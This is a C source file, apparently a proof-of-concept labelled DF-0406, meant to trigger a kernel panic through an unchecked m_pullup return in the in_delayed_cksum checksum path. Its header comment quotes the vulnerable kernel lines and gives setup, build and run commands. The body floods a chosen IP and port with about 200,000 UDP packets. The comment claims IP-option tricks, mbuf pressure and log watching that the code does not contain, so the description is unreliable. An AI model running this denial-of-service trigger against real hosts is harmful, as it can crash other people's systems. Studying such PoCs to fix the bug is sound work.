DF-0406 / df_0406_cksum.c
/* * DF-0406 — in_delayed_cksum unchecked m_pullup return trigger. * * sys/netinet/ip_output.c:940-951: * if (offset + sizeof(u_short) > m->m_len) { * kprintf("delayed m_pullup, ...\n"); * m = m_pullup(m, offset + sizeof(u_short)); <-- return NOT checked * } * *(u_short *)(m->m_data + offset) = csum; <-- NULL deref if m_pullup fails * * To reach in_delayed_cksum on a vtnet guest: * ifconfig vtnet0 -txcsum -rxcsum (disable HW offload, software must checksum) * * This PoC: * - sends a lot of UDP packets to a target * - uses IP options to push the checksum-field offset higher (closer to a * plausible mbuf boundary) * - concurrently drives mbuf pressure * - watches dmesg for the "delayed m_pullup" kprintf (straddle hit) and * boot.log for the panic * * Build: cc -O2 -Wall -o df_0406_cksum df_0406_cksum.c * Run: ./df_0406_cksum <target-ip> <target-port> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> static volatile sig_atomic_t stop = 0; static void sigh(int s) { stop = 1; } int main(int argc, char **argv) { const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.2"; int dst_port = (argc > 2) ? atoi(argv[2]) : 9; struct sockaddr_in dst; int s, i; char buf[1400]; memset(&dst, 0, sizeof dst); dst.sin_family = AF_INET; dst.sin_port = htons(dst_port); if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) { perror("inet_pton"); return 2; } signal(SIGINT, sigh); signal(SIGTERM, sigh); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return 2; } int sb = 256*1024; setsockopt(s, SOL_SOCKET, SO_SNDBUF, &sb, sizeof sb); printf("DF-0406: in_delayed_cksum stressor -> sending to %s:%d\n", dst_ip, dst_port); printf("(looks for 'delayed m_pullup' in dmesg and 'Fatal trap' in boot.log)\n"); /* vary payload sizes to perturb mbuf layout */ memset(buf, 'X', sizeof buf); int sizes[] = {1, 8, 16, 24, 504, 512, 520, 1000, 1400}; int nsz = (int)(sizeof sizes / sizeof sizes[0]); for (i = 0; i < 200000 && !stop; i++) { int n = sizes[i % nsz]; if (sendto(s, buf, n, MSG_DONTWAIT, (struct sockaddr *)&dst, sizeof dst) < 0) { if (errno == EINTR) break; } if ((i % 50000) == 0) printf(" sent %d pkts\n", i); } printf("done; total sent approx %d\n", i); close(s); return 0; } |